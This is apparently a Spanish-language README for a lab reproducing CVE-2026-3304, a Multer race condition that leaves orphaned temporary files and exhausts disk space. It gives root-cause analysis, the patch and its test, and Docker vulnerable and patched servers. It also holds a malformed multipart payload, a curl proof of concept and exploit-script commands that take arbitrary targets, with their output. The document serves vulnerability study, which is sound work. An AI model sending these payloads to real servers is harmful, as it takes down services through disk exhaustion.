
Laboratorio de reproducción para CVE-2026-3304, una condición de carrera en el fileFilter asíncrono de Multer que provoca el agotamiento del disco mediante archivos temporales huérfanos. Incluye servidores Docker vulnerables y parcheados, scripts de explotación y análisis de la causa raíz.
Solo con fines educativos y de investigación. Atacar sistemas sin autorización es ilegal.
Este entorno de laboratorio fue construido analizando el parche de Multer 2.1.0 y su código de prueba oficial. El servidor vulnerable replica las condiciones exactas descritas en la prueba del parche, y el servidor parcheado ejecuta Multer 2.1.0 para confirmar que la corrección funciona.
| Campo | Detalles |
|---|
| CVE | CVE-2026-3304 |
| Objetivo | Multer < 2.1.0 (middleware multipart/form-data de Node.js) |
| Tipo | DoS — Archivo Huérfano (limpieza incompleta de archivos temporales) |
| CWE | CWE-459: Limpieza Incompleta |
| CVSS 4.0 | 8.7 ALTA |
| Versión Parcheada | Multer 2.1.0 |
Una solicitud multipart malformada con un atributo name faltante en una parte de archivo hace que Multer cree un archivo temporal en el disco pero nunca lo limpie. Las solicitudes repetidas agotan el espacio en disco, resultando en una Denegación de Servicio.
La vulnerabilidad se origina en el flujo de manejo del callback fileFilter dentro de multer/lib/make-middleware.js.
Cuando Multer transmite y analiza una solicitud multipart parte por parte, ocurre la siguiente secuencia:
[Secuencia de eventos de análisis — versión vulnerable]
1. Se recibe el encabezado de la Parte 1
→ se llama a fileFilter(req, file, cb)
→ setImmediate(cb) → callback diferido al siguiente tick del bucle de eventos
2. Se recibe el cuerpo de la Parte 1
→ se abre /tmp/uploads/<uuid>, los datos comienzan a escribirse
3. Se recibe el encabezado de la Parte 2 (falta el atributo name)
→ Multer detecta 'name faltante'
→ errorOccured = true ← se establece la bandera de error
→ se llama a abortWithCode('LIMIT_FIELD_KEY') → se programa HTTP 500
4. El callback de setImmediate se ejecuta (siguiente tick del bucle de eventos)
→ resultado de fileFilter: includeFile = true (flujo normal)
→ [ERROR] la bandera errorOccured NO se verifica
→ se llama a storage._handleFile() → el archivo temporal se confirma en el disco
5. Se envía la respuesta HTTP 500
→ el archivo temporal permanece en el disco (archivo huérfano)
make-middleware.js — Multer < 2.1.0)// callback de finalización de fileFilter (diferido mediante setImmediate)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured nunca se verifica aquí
// incluso si se estableció un error durante el análisis de la Parte 2, la ejecución continúa
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// el archivo temporal se registra en uploadedFiles y se deja en el disco
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
¿Por qué setImmediate es el problema?
Envolver fileFilter con setImmediate difiere su callback al siguiente tick del bucle de eventos.
En esa ventana, busboy (el analizador multipart) continúa analizando los encabezados de la siguiente parte,
descubre el name faltante y establece errorOccured = true.
Cuando el callback se reanuda, el estado de error ya está establecido — pero el código nunca lo verifica,
por lo que storage._handleFile se llama incondicionalmente y el archivo temporal se escribe en el disco.
Commit de corrección: 739919097d
Se agregó una única protección if (errorOccured) inmediatamente después de la entrada del callback de fileFilter,
antes de que se alcance storage._handleFile.
// callback de finalización de fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [PARCHE] Verificar errorOccured antes de continuar
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // drenar el flujo — no se escribe ningún archivo en el disco
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| Elemento | Vulnerable (< 2.1.0) | Parcheado (2.1.0) |
|---|---|---|
Verificación de errorOccured | ❌ No verificada | ✅ Verificada inmediatamente en la entrada del callback |
_handleFile llamado en caso de error | Sí | Bloqueado |
| Limpieza de archivos temporales | ❌ Faltante | ✅ Mediante fileStream.resume() |
| Archivos huérfanos por solicitud | 1 | 0 |
Por qué fileStream.resume() limpia:
Llamar a fileStream.resume() drena y descarta el flujo sin pasarlo a DiskStorage,
por lo que no se escribe ningún archivo y no queda nada en el disco.
El equipo de Multer incluyó la siguiente prueba Mocha en el parche 2.1.0 para verificar la corrección.
Esta prueba se convirtió en el modelo para este entorno de laboratorio — el servidor vulnerable
replica la configuración exacta descrita aquí (setImmediate fileFilter + solicitud multipart malformada),
y el comportamiento esperado se verifica tanto en las versiones vulnerable como parcheada.
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('limpieza de fileFilter asíncrono', function () {
it('no deja archivos huérfanos cuando la solicitud se aborta con nombre de campo faltante', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Disparador de vulnerabilidad: fileFilter asíncrono mediante setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Manejador de errores: responder con 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Cuerpo malicioso: Parte 1 válida, Parte 2 sin atributo name
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= faltante
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Afirmación 1: el servidor debe responder con 400 (error)
assert.strictEqual(res.statusCode, 400)
// Afirmación 2: no deben quedar archivos huérfanos en el disco
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| Afirmación | Significado |
|---|---|
res.statusCode === 400 | Multer rechaza correctamente la solicitud malformada |
files.length === 0 | No quedan archivos huérfanos en el disco (parche verificado) |
En una versión vulnerable (< 2.1.0), files.length es igual a 1 y la afirmación falla.
Este laboratorio refleja directamente la configuración de la prueba del parche anterior.
Servidor vulnerable (Dockerfile + app/server.js) ejecuta Multer 2.0.2 con un fileFilter asíncrono
usando setImmediate — la condición de disparo exacta de la prueba del parche:
// app/server.js — replica el disparador de vulnerabilidad de la prueba del parche
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← difiere el callback, creando la condición de carrera
cb(null, true)
})
}
})
Servidor parcheado (Dockerfile.patched) ejecuta el mismo server.js pero instala Multer 2.1.0,
donde la protección errorOccured está en su lugar — coincidiendo con el estado de aprobación esperado de la prueba del parche.
| Servidor | Puerto | Multer | Comportamiento esperado |
|---|---|---|---|
| Vulnerable | 3000 | 2.0.2 | Archivo huérfano creado por solicitud malformada |
| Parcheado | 3001 | 2.1.0 | Sin archivos huérfanos — la limpieza funciona correctamente |
Nota: Cambiar
fileFiltera síncrono (eliminandosetImmediate) previene archivos huérfanos incluso en Multer < 2.1.0. La vulnerabilidad requiere ambas condiciones: unfileFilterasíncrono y la verificación faltante deerrorOccured.
El ataque envía un POST multipart/form-data donde la segunda parte carece del atributo name requerido.
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<datos binarios>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← Parte 1: válida, archivo temporal creado aquí
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← Parte 2: ¡name= faltante!
Content-Type: application/octet-stream
x
------Boundary--
Ejecución en el lado del servidor:
1. Llega la Parte 1 → Multer abre /tmp/uploads/<uuid> y comienza a escribir
2. fileFilter llamado con setImmediate → callback diferido
3. Llega la Parte 2 → Multer detecta name faltante → errorOccured = true
4. setImmediate se ejecuta → el callback de fileFilter se ejecuta
5. [ERROR] errorOccured no verificado → se llama a storage._handleFile
6. Archivo temporal escrito en el disco
7. Se devuelve HTTP 500
8. /tmp/uploads/<uuid> permanece en el disco para siempre ← archivo huérfano
Respuesta del servidor:
HTTP/1.1 500 Internal Server Error
MulterError: Field name missing
at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)
curl -s -X POST http://localhost:3000/upload \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'
Verifique los archivos huérfanos inmediatamente después:
curl http://localhost:3000/status
pip install requests)# Iniciar servidores vulnerable (puerto 3000) + parcheado (puerto 3001)
docker compose up -d --build
# Verificar que ambos estén ejecutándose
curl http://localhost:3000/status
curl http://localhost:3001/status
bash exploit/curl_poc.sh
# Predeterminado (50 solicitudes)
python3 exploit/exploit.py
# Ataque pesado (500 solicitudes, carga útil de 5 KB cada una)
python3 exploit/exploit.py --count 500 --size 5120
# Contra objetivo HTTPS con certificado autofirmado
python3 exploit/exploit.py --target https://target.example.com --no-verify
# Comparar contra la versión parcheada
python3 exploit/exploit.py --target http://localhost:3001 --count 50
bash exploit/monitor.sh
curl -X DELETE http://localhost:3000/reset
| Objetivo | Resultado |
|---|---|
| Servidor vulnerable (3000) | Archivo huérfano creado por solicitud, el disco crece continuamente |
| Servidor parcheado (3001) | 0 archivos huérfanos independientemente del número de solicitudes |
[*] CVE-2026-3304 Exploit DoS de Archivo Huérfano de Multer
[*] Objetivo : http://localhost:3000/upload
[*] Solicitudes: 50 | Retraso: 0.0s | Carga útil: 2048 bytes
------------------------------------------------------------
[*] Antes del ataque — archivos huérfanos: 0
[ 10/50] respuesta 500: Verdadero | archivos huérfanos: 10 | disco: 20.00 KB
[ 20/50] respuesta 500: Verdadero | archivos huérfanos: 20 | disco: 40.00 KB
[ 30/50] respuesta 500: Verdadero | archivos huérfanos: 30 | disco: 60.00 KB
[ 40/50] respuesta 500: Verdadero | archivos huérfanos: 40 | disco: 80.00 KB
[ 50/50] respuesta 500: Verdadero | archivos huérfanos: 50 | disco: 100.00 KB
============================================================
[Resultado] Total de solicitudes: 50 | Disparadas: 50
[Resultado] Archivos huérfanos: 0 -> 50
[Resultado] Disco desperdiciado: 100.00 KB
[!] VULNERABLE: 50 archivos temporales dejados en el disco, nunca limpiados
[!] Los ataques repetidos agotarán el espacio en disco (DoS)
$ docker exec cve-2026-3304-target df -h /tmp/uploads
Antes del ataque:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 0 50.0M 0% /tmp/uploads
Después de 200 solicitudes × 5 KB:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads
$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M /tmp/uploads
$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200
Cada archivo huérfano permanece en el disco permanentemente hasta que el servidor se reinicia o se limpia manualmente. El tmpfs del contenedor está limitado a 50 MB — alcanzar el límite hace que el servidor falle en nuevas cargas por completo.
Ejecución 1: archivos huérfanos 0 -> 50 (100 KB)
Ejecución 2: archivos huérfanos 50 -> 100 (200 KB)
↑ los archivos de la ejecución 1 aún están presentes — nunca se limpiaron
[ 10/50] respuesta 500: Verdadero | archivos huérfanos: 0 | disco: 0.00 KB
[ 20/50] respuesta 500: Verdadero | archivos huérfanos: 0 | disco: 0.00 KB
[ 30/50] respuesta 500: Verdadero | archivos huérfanos: 0 | disco: 0.00 KB
[ 40/50] respuesta 500: Verdadero | archivos huérfanos: 0 | disco: 0.00 KB
[ 50/50] respuesta 500: Verdadero | archivos huérfanos: 0 | disco: 0.00 KB
[*] Sin archivos huérfanos — la versión parcheada limpia correctamente
docker compose down